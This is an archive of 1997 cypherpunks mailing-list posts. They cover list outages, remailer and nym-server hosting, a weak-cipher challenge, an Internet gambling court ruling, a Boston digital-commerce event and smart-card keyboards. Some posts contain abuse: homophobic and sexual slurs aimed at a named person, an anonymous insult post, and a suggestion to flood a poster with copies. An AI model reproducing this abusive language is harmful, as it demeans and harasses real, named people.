> Received: from fatmans.demon.co.uk ([158.152.120.223]) by punt-2.mail.demon.net
>            id aa1107689; 26 May 97 21:14 BST
> Received: (from paul at localhost) by fatmans.demon.co.uk (8.6.12/8.6.9) id QAA00281; Mon, 26 May 1997 16:59:08 GMT
> Date: Mon, 26 May 1997 16:59:07 +0000 (   )
> From: Paul Bradley 
> To: cypherpunks at cyberpass.net
> Subject: Mail problems
> Message-ID: 
> MIME-Version: 1.0
> Content-Type: TEXT/PLAIN; charset=US-ASCII
> 
> 	
> I have seen only 3 or 4 posts from the cypherpunks list in the last 24 
> hours now, I have unsub-scr-ibed from algebra.com (which did not repond to 
> a ping at around 11am GMT today) and re-sub-scr-ibed to cyberpass.net, but 

algebra never responds to pings.

The reason why your article did not go through is because majordomo
thought that your article was an un-sus-cri-be request.

I am very annoyed at the extremely unintelligent behavior of majordomo:
instead of bouncing messages to cypherpunks-owner it should bounce them
back to posters. It should also do a better job at identifying admin
requests.

> have still only seen another one post (raphs remailer ping post). 
> Has anyone else experienced problems, inside the UK or outside? 
> 
> All of the post that have come through have been sent initially to 
> toad.com, my guess would be that nearly everyone, regardless of where 
> they are sub-scr-ibed, is sending posts to algebra.com, which appears to be 
> down, therefore cyberpass and ssz, even though they are up, have not got 
> many messages to send on, does anyone know where toad.com is forwarding 
> posts to?

cyberpass is also subscribed to toad.

> I wonder if this outage might have anything to do with Igor moving the 
> list to another machine, as I seem to remember he said he was, although 
> if I recall correctly he did not think this would cause a problem. As I 
> said, cyberpass is definitely up and has responded to my majordomo request. 

I am not moving anything yet.

igor

>         Datacomms Technologies data security
>        Paul Bradley, Paul at fatmans.demon.co.uk
>   Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
>        Http://www.cryptography.home.ml.org/
>       Email for PGP public key, ID: FC76DA85
>      "Don`t forget to mount a scratch monkey"
> 
> 
> ----- End of forwarded message from owner-cypherpunks at algebra.com -----
> 



	- Igor.






From ichudov at algebra.com  Mon May 26 16:46:43 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Tue, 27 May 1997 07:46:43 +0800
Subject: Nym Servers
In-Reply-To: 
Message-ID: <199705262326.SAA14393@manifold.algebra.com>


Dr.Dimitri Vulis KOTM wrote:
> ichudov at algebra.com (Igor Chudov @ home) writes:
> > As far as I understand, nym servers die because their maintainers get
> > tired of the huge amount of mass mailings, mailbombings and complaints
> > that these servers generate. Often enough they simply do not have the
> > bandwidth or CPU resources to maintain them.
> 
> Stanford Wallace is doing an excellent job hosting "unpopular"
> Internet features which the politically correct scum (like the
> cocksucker John Gilmore) sought to censor - like www.Godhatesfags.com.
> 
> It's pricey, but it sounds like a nearly ideal site for remailers,
> nym sevrers, and the like.

I do not think that cyberpromo is a good site for remailers, because
a lot of sites ignore everything that comes out of cyberpromo and 
affiliated domains. A user who decides to use a cyberpromo-hosted
remailer will not be sure whether his messages will be delivered to
recipients or not.

It may be slightly better to use cyberpromo for a nym server, though.

How much does it cost to have a domain with Cyberpromo?

	- Igor.






From 3umoelle at informatik.uni-hamburg.de  Mon May 26 16:49:49 1997
From: 3umoelle at informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Tue, 27 May 1997 07:49:49 +0800
Subject: http://www.dataet.com/public/source/vsacmv20/
In-Reply-To: <199705170136.UAA16850@manifold.algebra.com>
Message-ID: 


>Also, some may be interested to look at this particular encryption
>method (I added some indentation and comments for readability). I believe
>that it is not particularly strong.

>      Block[I1] := Block[I1] xor Random(256);
>      Block[I1] := EncTable[Block[I1]];

What is Random()? How is it seeded?

>>  The first
>> cypherpunk who develops a VSA2048 decryption utility, decrypts the file, and
>> sends decrypted message and the correct key to info at dataet.com and
>> cypherpunks at toad.com will receive a free basic Web site package. (Package
>> details are located at http://www.dataet.com). (Igor, this is it!)

The test file is only 836 bytes long.  Could you please post a file
consisting of, say, 50.000 space characters encrypted with the same
key?






From mixmaster at remail.obscura.com  Mon May 26 17:19:53 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Tue, 27 May 1997 08:19:53 +0800
Subject: No Subject
Message-ID: <199705262230.PAA07484@sirius.infonex.com>


In a jerk-off competition Timothy C[rook] May finishes 
second, third and fifth.

              ,,,
             ($ $)
         -ooO-(_)-Ooo- Timothy C[rook] May






From dlv at bwalk.dm.com  Mon May 26 18:48:15 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 27 May 1997 09:48:15 +0800
Subject: Nym Servers
In-Reply-To: <199705262326.SAA14393@manifold.algebra.com>
Message-ID: <8u9B8D20w165w@bwalk.dm.com>


ichudov at algebra.com (Igor Chudov @ home) writes:
> I do not think that cyberpromo is a good site for remailers, because
> a lot of sites ignore everything that comes out of cyberpromo and
> affiliated domains. A user who decides to use a cyberpromo-hosted
> remailer will not be sure whether his messages will be delivered to
> recipients or not.

It's not "a lot" of sites - most of them are just making stupid noises.
Also, if a site does try to decide what its users are allowed to read,
it's too bad for the users - let them move to another site.

> It may be slightly better to use cyberpromo for a nym server, though.

It might be a good site for an anon.penet.fi-like server (yes, I keep
promising to do something...)

> How much does it cost to have a domain with Cyberpromo?

I believe it's something like $25/month, not including $100 to InterNIC.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From real at freenet.edmonton.ab.ca  Mon May 26 18:57:48 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Tue, 27 May 1997 09:57:48 +0800
Subject: your mail
In-Reply-To: <199705262230.PAA07484@sirius.infonex.com>
Message-ID: 


On Mon, 26 May 1997, Mix wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> In a jerk-off competition Timothy C[rook] May finishes 
> second, third and fifth.
> 
>               ,,,
>              ($ $)
>          -ooO-(_)-Ooo- Timothy C[rook] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From roy at sendai.scytale.com  Tue May 27 00:08:50 1997
From: roy at sendai.scytale.com (Roy M. Silvernail)
Date: Tue, 27 May 1997 15:08:50 +0800
Subject: Spam IS Free Speech
In-Reply-To: 
Message-ID: <970527.001130.1E4.rnr.w165w@sendai.scytale.com>


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, paul at fatmans.demon.co.uk writes:

> You are forgetting the 998348934th ammendment of the US constitution:
>
> Congress shall make no law infringing the right of the people to kidnap 
> megaphone owners...

The 1st one begins with "Congress shall make no law", and that's quite
enough.  The US government is forbidden to interfere in matters of
speech. (yah, I know this doesn't seem to slow 'em down much) You're
right that a sendmail (or other process vulnerable to subversion) should
protect itself.  My fear is that our benevolent protectorate will
_require_ such precautions, because that concedes the duty to provide
other precautions as the law might require.
- -- 
           Roy M. Silvernail     [ ]     roy at scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
                 Key available from pubkey at scytale.com
            I charge to process unsolicited commercial email

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM4puNBvikii9febJAQF8jAP/RmVg8Nh3o1xEnDl1VVchpgT9JEWCsr0p
rM9jIOBjyI2i5H07+6AhwZ2oKWQBz2KKRN+/RhCbRTmEBfAJO5SngyNzMmFi+ov3
BX2yYxz5hyduoQXgW+Wwq57oZSEyZ8A68OgzTvcKwvWwW+7vfO/appfEfoKeCDll
mlMY3wxpl1I=
=2RLx
-----END PGP SIGNATURE-----






From kibo at thecia.net  Tue May 27 00:33:04 1997
From: kibo at thecia.net (meowForce)
Date: Tue, 27 May 1997 15:33:04 +0800
Subject: Nym Servers
In-Reply-To: <199705262326.SAA14393@manifold.algebra.com>
Message-ID: 


On Mon, 26 May 1997, Igor Chudov @ home wrote:

> Date: Mon, 26 May 1997 18:26:33 -0500 (CDT)
> From: "Igor Chudov @ home" 
> Reply-To: freedom-knights at jetcafe.org
> To: devnull at manifold.algebra.com,
>     Freedom Knights 
> Cc: cypherpunks at toad.com
> Subject: Re: Nym Servers
> 
> Dr.Dimitri Vulis KOTM wrote:
> > ichudov at algebra.com (Igor Chudov @ home) writes:
> > > As far as I understand, nym servers die because their maintainers get
> > > tired of the huge amount of mass mailings, mailbombings and complaints
> > > that these servers generate. Often enough they simply do not have the
> > > bandwidth or CPU resources to maintain them.
> > 
> > Stanford Wallace is doing an excellent job hosting "unpopular"
> > Internet features which the politically correct scum (like the
> > cocksucker John Gilmore) sought to censor - like www.Godhatesfags.com.
> > 
> > It's pricey, but it sounds like a nearly ideal site for remailers,
> > nym sevrers, and the like.
> 
> I do not think that cyberpromo is a good site for remailers, because
> a lot of sites ignore everything that comes out of cyberpromo and 
> affiliated domains. A user who decides to use a cyberpromo-hosted
> remailer will not be sure whether his messages will be delivered to
> recipients or not.
> 
> It may be slightly better to use cyberpromo for a nym server, though.
> 
> How much does it cost to have a domain with Cyberpromo?
> 
> 	- Igor.
> 

$25 a month.






From stewarts at ix.netcom.com  Tue May 27 03:16:05 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 27 May 1997 18:16:05 +0800
Subject: Judge bans Internet gambling company from operating in Missouri
Message-ID: <3.0.1.32.19970527025203.00739e9c@popd.ix.netcom.com>


>Judge bans Internet gambling company from operating in Missouri
>
> http://www.nando.net/newsroom/ntn/info/052597/info14_11497.html
>
>Copyright � 1997 Nando.net
>Copyright � 1997 Kansas City Star
>
>KANSAS CITY, Mo. (May 25, 1997 00:31 a.m. EDT) -- A Missouri judge
>on Friday banned an Internet gambling company from operating in the
>state.
>
>The Jackson County ruling places Missouri in the forefront of an
>emerging national debate that will determine whether cyber gambling
>fades or evolves into a $10 billion-a-year business, as some
>industry analysts project.
>
>Visiting St. Francois County Circuit Judge Stan L. Murphy also
>ordered that Interactive Gaming & Communications Corp. pay more than
>$66,000 in fines and legal expenses. Interactive Gaming has refused
>and plans to take its fight to federal court.
>
>Among other terms Murphy imposed on Interactive Gaming, which
>operates out of Blue Bell, Pa.:
>
>- Interactive Gaming cannot market, offer or promote gambling in
>Missouri.
>
>- Interactive Gaming must post a notice on its home page that
>Missouri residents cannot register to gamble, and it must immediately
>reject any who try. It must also notify the state attorney general if
>anyone does try to register.
>
>- At its expense, the company must provide any of its computer
>records or office records for any audits requested by Missouri
>Attorney General Jay Nixon.
>
>The judge also found that Interactive Gaming's subsidiary, Global
>Casinos Ltd. in the Caribbean, is a mere "alter ego" of the
>Pennsylvania firm. Interactive Gaming uses offshore gambling
>accounts to try to circumvent Missouri law, he ruled. His ruling
>applies to only Interactive Gaming and Global.
>
>About 20 offshore companies offer gambling on the Internet and more
>are coming, said Sue Schneider, managing editor of Rolling Good
>Times OnLine, an Internet news service. Slot machines, card games,
>roulette and other casino-style games can be played after
>establishing a cash account that is drawn on during play.
>
>Nixon said he would watch for any other companies operating in
>Missouri and act on any complaints against them.
>
>He said this was the first time in the United States that an ongoing
>Internet gambling operation had been sued and stopped. He said the
>company violated state gambling laws. The gambling business never
>gained momentum in the state, because Nixon last month filed a
>restraining order against it.
>
>The issue of Internet gambling is getting attention elsewhere.
>
>In Wisconsin, a state case is pending in which the state sued a
>company that was about to start. A federal case also is pending in
>Wisconsin in which a gambling company has sued to get a judgment on
>whether Internet gambling is legal. A bill to make Internet gambling
>illegal failed in Congress last year; a similar measure is pending
>this year.
>
>As more Internet gambling companies open or announce plans to start,
>Nixon said, "they are watching our case and the one in Wisconsin."
>
>Philadelphia lawyer Lawrence Hirsch, who represents the company,
>said Friday that the fight between Nixon and Interactive Gaming just
>started.
>
>"We'll send them a lawsuit in federal court," Hirsch said. "They're
>trying to murder a legitimate business."
>
>The company will put the warning on its Internet site that Missouri
>residents are forbidden to play, he said, "and we'll tell them why."
>
>"Do the people of Missouri think they need to get Jay's permission
>to get on the Internet and spend $25?" he asked.
>
>Murphy signed the default order following unopposed testimony
>Thursday in Kansas City from assistant Missouri attorneys general.
>Hirsch said he chose not to appear.
>
>Assistant Attorney General J. Dale Youngs called witnesses,
>presented evidence and drove home his points for four hours.
>Highlights of the hearing included:
>
>- On Feb. 25 an investigator called the web site and a woman named
>Marjorie assured him gambling would be legal. On March 17 he got a
>user ID number and the password "Daisy." He mailed in $100 to play
>in a slots tournament. Nixon soon filed against Interactive Gaming.
>
>- On April 24, Interactive Gaming agreed not to accept business from
>Missouri residents and to put a warning to them on its home site.
>
>- From May 9 to 20 another undercover investigator registered to
>gamble, mailed in $200 to start an account and gambled. That was
>unintentional, Hirsch said Friday,"stupidity by employees."
>
>- Missouri strictly controls gambling and checks backgrounds of all
>companies that apply for licenses. The FBI had served a search
>warrant at Interactive Gaming headquarters in February. The company
>does not know the reason for the search and no charges have been
>filed, Hirsch said Friday.
>
>- All the income from Interactive Gaming comes from gambling
>accounts that clients deposit in Grenada. If customers decided to
>suddenly withdraw all that money, the company would be more than $1
>million short.
>
>Hirsch said Friday that Interactive Gaming's only gambling accounts
>in Missouri came from the two investigators. He hopes for more later,
>he said, when courts establish that citizens or federal laws control
>Internet gambling.
>
>"They say they're not under Missouri law," Nixon said, "but that
>hasn't prevented them from taking Missourians' money."
>
>By JOE LAMBE, Kansas City Star
>
>************************************************************************
>Michael A. Geist
>Associate in Law, Columbia University, School of Law
>435 West 116th Street
>New York, NY, 10027, U.S.A.
>e-mail: mag76 at columbia.edu
>url:    http://www.columbia.edu/~mag76
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From rah at shipwright.com  Tue May 27 07:27:14 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Tue, 27 May 1997 22:27:14 +0800
Subject: DCSB: The Internet as an Auction-Pricing Incubator
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

                 The Digital Commerce Society of Boston

                              Presents

                            Fred Hapgood

            "The Internet as an Auction-Pricing Incubator"



                        Tuesday, June 3, 1997
                              12 - 2 PM
                  The Downtown Harvard Club of Boston
                    One Federal Street, Boston, MA
                   Price, Including Luncheon: $30.00


The low transaction costs and interactivity of the internet are proving a
highly favorable incubator for auction pricing.  In April Yahoo reported
60+ sites supporting online auctions with more appearing every day. The
largest of these hosted more than 50,000 individual auctions (not
individual items) simultaneously and was growing at 25% a month.  Online
auction sites appear to be the only indigenous internet service that is a)
generating profits of any scale and b) respectable. Fred will describe how
these auctions work, some of their varieties, what they are selling,
analyze the online auction site as a business model, review recent
developments, and weigh the odds that online auctions will be associated
with changes of interest in the structure of the economy and the culture.

Fred Hapgood, , is a free-lance writer based
in Boston. While he often writes about aspects of electronic commerce, that
being where the market is, he promises creditworthy clients an attentive
and positive hearing to any proposition legal in at least one jurisdiction.
Last year he spoke before the DCSB on franchising and the internet.

This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, June 3, 1997, from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, on One Federal Street. The price for lunch is
$30.00. This price includes lunch, room rental, various A/V hardware, and
the speaker's lunch. ;-).  The Harvard Club *does* have dress code: jackets
and ties for men (and no sneakers or jeans), and "appropriate business
attire" (whatever that means), for women.  Fair warning: since we purchase
these luncheons in advance, we will be unable to refund the price of your
lunch if the Club finds you in violation of the dress code.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, May 31, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston", in the amount of $30.00.

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Upcoming speakers for DCSB are:

July      Win Treese           TLS, Digital Commerce, and Export Issues
August    Duncan Frissell      MarketEarth
September Christof Paar        Elliptic Curve Cryptography
October   Peter Cassidy        Military Fiat and Digital Commerce
November  Carl Ellison         Identity and Certification for Electronic
                                Commerce

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga,  .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to  .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to  .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston

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-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From 00043.an at edtec.com  Tue May 27 08:23:34 1997
From: 00043.an at edtec.com (00043.an at edtec.com)
Date: Tue, 27 May 1997 23:23:34 +0800
Subject: No Subject
Message-ID: <9705271451.AA08876@future.atlcom.net>



Microsoft has been involved for some time with smart-card keyboard readers,
and I think some of my cohorts have seen the prototypes (I have not).
I figure strong authentication will become part of the the platform within
somewhere 
between 6 and 18 months.  With Intel putting crypto on the main board / CPU,
this poses very important issues --- it does not give me a warm fuzzy feeling.


Tim May writes:
> Could hardware-based chips be coming? At a recent meeting, John Markoff
> asked me if I'd heard anything about Intel's rumored contract to buy 20
> million (yes, 20 _million_) keyboards with crypto features built in. I had
> not heard this rumor.
> 
> (Since then, though, there have been rumblings that Intel is preparing to
> offer such keyboards, possibly with "user authentication" features (don't
> know what kind). This might, speculating here, be linked with  the Intel-HP
> (and maybe Verifone, which HP is buying?) key recovery work. Conceivably, a
> plan to sell a large user base (20 million?) on a hardware/keyboard-based
> "secure commerce" solution.)

I haven't heard anything about this rumor.  However, if you look at
the new USB chips being built by Cypress et al, it's not hard to
imagine keyboards with ISO smart card readers built in.  The USB chips
contain a simple RISC core, lots of I/O pins and something like 4-8KB
of FLASH or OTP memory.  The incremental cost is a slot with 6
contacts for the smart card.  Unlike PCMCIA, the ISO smart cards are
cheap to build and easy to interface to.  Schmlumberger is currently
promoting it's "CryptoFlex" card which can do 1024-bit RSA sigs as
well as triple-DES.  I believe that it can do a 1024-bit sig in
something like 20 ms.

Eric









From wombat at mcfeely.bsfs.org  Tue May 27 09:26:36 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Wed, 28 May 1997 00:26:36 +0800
Subject: Nym Servers
In-Reply-To: 
Message-ID: 


> Stanford Wallace is doing an excellent job hosting "unpopular"
> Internet features which the politically correct scum (like the
> cocksucker John Gilmore) sought to censor - like www.Godhatesfags.com.
> 

Just filter everything from Agis.






From root at fatmans.demon.co.uk  Tue May 27 09:49:08 1997
From: root at fatmans.demon.co.uk (root)
Date: Wed, 28 May 1997 00:49:08 +0800
Subject: List problems or is it quiet???
Message-ID: 


	
I have checked the cypherpunks archive following my comment that I was 
not getting much mail from the list (only 8 to 10 posts per day) over the 
last 2 or 3 days, and the archive confirms this. Igor and Jim have 
confirmed that algebra and ssz are up, and cyberpass is reponding to 
majordomo requests...

I`m just sending this to check that this really is not a list problem, as 
of course 10 posts a day is an uncommonly low traffic level for the list.

Unless of course the black clad ninja`s have come round on 4am nomex 
hooded raids, and you are all in the ministry of love being questioned 
over allegations of thoughtcrime, which would explain the lack of posts 
;-)......

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From whgiii at amaranth.com  Tue May 27 10:25:24 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 28 May 1997 01:25:24 +0800
Subject: List problems or is it quiet???
In-Reply-To: 
Message-ID: <199705271712.MAA32386@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In , on
05/27/97 
   at 02:52 PM, root  said:

>	
>I have checked the cypherpunks archive following my comment that I was 
>not getting much mail from the list (only 8 to 10 posts per day) over the
> last 2 or 3 days, and the archive confirms this. Igor and Jim have 
>confirmed that algebra and ssz are up, and cyberpass is reponding to 
>majordomo requests...

>I`m just sending this to check that this really is not a list problem, as
> of course 10 posts a day is an uncommonly low traffic level for the
>list.

>Unless of course the black clad ninja`s have come round on 4am nomex 
>hooded raids, and you are all in the ministry of love being questioned 
>over allegations of thoughtcrime, which would explain the lack of posts 
>;-)......

Well my cypherpunks stats scripts are not quite finished yet but here is
my cypherpunks log for yesterday. I am subscribed to all 3 list so it
should give you some feel for the current trafic.

- -- 

in:50
dup:28
ssz:16
algebra:19
cyberpass:15 
[algebra] ,00:11:57,alg,11,19:53:12,
[algebra] ,00:17:18,alg,17,19:53:12,<199705262326.SAA14393 at manifold.algebra.com>
[ssz    ]*,00:38:27,ssz,38,19:53:13,
[ssz    ]*,00:38:39,ssz,38,19:53:14,<199705262326.SAA14393 at manifold.algebra.com>
[algebra] ,00:12:54,alg,12,19:53:15,<199705262323.SAA14319 at manifold.algebra.com>
[cyber  ] ,00:15:04,cyb,15,19:53:15,<199705262319.SAA14235 at manifold.algebra.com>
[cyber  ] ,00:14:24,cyb,14,19:53:16,
[cyber  ] ,00:20:49,cyb,20,19:53:17,<3.0.2.32.19970526160914.0075b1f8 at netcom13.netcom.com>
[algebra]*,00:14:03,alg,14,19:53:17,<199705262319.SAA14235 at manifold.algebra.com>
[algebra]*,00:13:14,alg,13,19:53:18,
[ssz    ]*,00:38:52,ssz,38,19:53:19,<199705262323.SAA14319 at manifold.algebra.com>
[algebra]*,00:19:40,alg,19,19:53:19,<3.0.2.32.19970526160914.0075b1f8 at netcom13.netcom.com>
[ssz    ]*,00:38:42,ssz,38,19:53:20,
[ssz    ]*,00:39:04,ssz,39,19:53:21,<199705262319.SAA14235 at manifold.algebra.com>
[ssz    ]*,00:39:20,ssz,39,19:53:22,<3.0.2.32.19970526160914.0075b1f8 at netcom13.netcom.com>
[cyber  ] ,01:12:03,cyb,72,19:53:22,<199705262003.NAA09654 at comsec.com>
[cyber  ] ,00:16:35,cyb,16,19:53:23,<199705262116.QAA13392 at manifold.algebra.com>
[algebra]*,00:11:54,alg,11,19:53:24,<199705262116.QAA13392 at manifold.algebra.com>
[algebra] ,00:14:42,alg,14,19:53:25,<199705262119.QAA13412 at manifold.algebra.com>
[cyber  ] ,00:15:35,cyb,15,19:53:25,<199705262040.PAA26906 at einstein.ssz.com>
[algebra]*,00:15:22,alg,15,19:53:26,<199705262040.PAA26906 at einstein.ssz.com>
[ssz    ]*,00:38:55,ssz,38,19:53:27,<199705262119.QAA13412 at manifold.algebra.com>
[ssz    ]*,00:39:49,ssz,39,19:53:27,<199705262116.QAA13392 at manifold.algebra.com>
[ssz    ]*,00:38:53,ssz,38,19:53:28,<199705262040.PAA26906 at einstein.ssz.com>
[ssz    ] ,00:38:42,ssz,38,19:53:29,
[algebra]*,00:16:38,alg,16,19:53:29,<199705262003.NAA09654 at comsec.com>
[ssz    ]*,00:39:47,ssz,39,19:53:30,<199705262003.NAA09654 at comsec.com>
[algebra] ,00:22:09,alg,22,19:53:31,<199705261459.JAA15150 at mailhub.amaranth.com>
[cyber  ]*,00:15:08,cyb,15,19:53:32,<199705261459.JAA15150 at mailhub.amaranth.com>
[ssz    ]*,00:38:27,ssz,38,19:53:33,<199705261459.JAA15150 at mailhub.amaranth.com>
[cyber  ] ,00:57:11,cyb,57,19:53:34,<199705261350.GAA21499 at kiwi.cs.berkeley.edu>
[algebra]*,00:23:09,alg,23,19:53:34,<199705261350.GAA21499 at kiwi.cs.berkeley.edu>
[cyber  ] ,00:51:44,cyb,51,19:53:36,<3.0.2.32.19970526005335.03d3ec60 at mail.teleport.com>
[cyber  ] ,00:50:14,cyb,50,19:53:36,<199705260727.CAA09157 at manifold.algebra.com>
[algebra]*,00:18:04,alg,18,19:53:37,<3.0.2.32.19970526005335.03d3ec60 at mail.teleport.com>
[algebra]*,00:23:07,alg,23,19:53:38,<199705260727.CAA09157 at manifold.algebra.com>
[algebra] ,00:22:15,alg,22,19:53:38,<199705260726.CAA09125 at manifold.algebra.com>
[cyber  ]*,00:15:52,cyb,15,19:53:39,<199705260726.CAA09125 at manifold.algebra.com>
[cyber  ] ,00:18:19,cyb,18,19:53:40,<199705260646.AAA20735 at infowest.com>
[algebra]*,00:15:18,alg,15,19:53:41,<199705260646.AAA20735 at infowest.com>
[ssz    ]*,00:38:56,ssz,38,19:53:41,<199705260646.AAA20735 at infowest.com>
[cyber  ] ,01:41:29,cyb,101,19:53:42,<199705260452.XAA10160 at mailhub.amaranth.com>
[cyber  ] ,02:04:54,cyb,124,19:53:43,<199705260352.FAA05338 at basement.replay.com>
[ssz    ] ,00:38:32,ssz,38,20:05:05,<199705262230.PAA07484 at sirius.infonex.com>
[algebra]*,00:14:16,alg,14,20:05:07,<199705262230.PAA07484 at sirius.infonex.com>
[cyber  ]*,00:18:53,cyb,18,20:05:10,<199705262230.PAA07484 at sirius.infonex.com>
[ssz    ] ,00:38:29,ssz,38,20:46:41,<8u9B8D20w165w at bwalk.dm.com>
[ssz    ] ,00:38:56,ssz,38,20:57:46,
[algebra]*,00:22:17,alg,22,20:57:50,<8u9B8D20w165w at bwalk.dm.com>
[algebra]*,00:13:06,alg,13,21:03:23,


Legend:

column 1: Folder Copied to ("*" represents dup message)
column 2: Lag in hh:mm:ss
column 3: Mailing list sent from
column 4: Lag in minuets
colunm 5: Time download (GMT -06)
column 6: Message ID

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------
 
Tag-O-Matic: Windows: The Gates of hell.

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From tcmay at got.net  Tue May 27 10:31:33 1997
From: tcmay at got.net (Tim May)
Date: Wed, 28 May 1997 01:31:33 +0800
Subject: I am allowed one message  (was: List problems or is it quiet???)
In-Reply-To: 
Message-ID: 


At 2:52 PM +0000 5/27/97, root wrote:
>
>I have checked the cypherpunks archive following my comment that I was
>not getting much mail from the list (only 8 to 10 posts per day) over the
>last 2 or 3 days, and the archive confirms this. Igor and Jim have
>confirmed that algebra and ssz are up, and cyberpass is reponding to
>majordomo requests...
>
>I`m just sending this to check that this really is not a list problem, as
>of course 10 posts a day is an uncommonly low traffic level for the list.
>
>Unless of course the black clad ninja`s have come round on 4am nomex
>hooded raids, and you are all in the ministry of love being questioned
>over allegations of thoughtcrime, which would explain the lack of posts
>;-)......

Many of us are only being allowed *one message* (used to be one phone call,
but now it's one message in any medium, except smoke signals, which are
banned by the Clean Air Act, like all forms of smoke generation).

So, this is my message.

I'm doing OK. The food stinks, but my reeducation is going well. I now
understand the need to reeductate dissidents such as I once was: an orderly
society cannot tolerate constant clamoring for so-called free speech. The
First, Second, and other Amendments must be interpreted in their true light.

And to read them precisely, they prominently say "Congress shall make no
law..." about their respective areas. Well, the Executitive Branch is most
definitely not Congress, so the Executitive Decision Orders and
Presidential Decision Directives which have allowed me to see the errors of
my ways are most defininitely not violations of the "Congress shall make no
law" language.

And National Security Decision Directive which abolished freedom on the
Net, NSDD-666,  has the full faith and backing of many major government
agencies, including the Federal Communications Commission, the Federal
Emergency Preparedness Agency, the National Health Agency, the Internal
Security Agency, the National Surveillance Authority, and of course the
Thought Police.

As the Secretary of Media Declan McCullagh put it so accurately before
assuming his current duties: "We must learn to censor ourselves, or the
government will have to do it for us."

In my several days at the People's Job Training and Rest Center, I have
learned that I really and truly and completely do love Big Brother.

--Winston Smith, Job Trainee #227-90-2389







From whgiii at amaranth.com  Tue May 27 10:35:11 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 28 May 1997 01:35:11 +0800
Subject: Judge bans Internet gambling company from operating in Missouri
In-Reply-To: <3.0.1.32.19970527025203.00739e9c@popd.ix.netcom.com>
Message-ID: <199705271720.MAA32492@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.1.32.19970527025203.00739e9c at popd.ix.netcom.com>, on 05/27/97 
   at 02:52 AM, Bill Stewart  said:

>>Judge bans Internet gambling company from operating in Missouri
>>
>> http://www.nando.net/newsroom/ntn/info/052597/info14_11497.html
>>
>>Copyright   1997 Nando.net
>>Copyright   1997 Kansas City Star
>>
>>KANSAS CITY, Mo. (May 25, 1997 00:31 a.m. EDT) -- A Missouri judge
>>on Friday banned an Internet gambling company from operating in the
>>state.


This comes as no suprise to anyone who was in KCMO durring the fight over
riverboat gambling.

The politions there have sold their souls to the big cassinos for the
prommise of tax dollars that they could then use to buy votes.

They now see Internet Gaming as a threat to their revenue stream (both
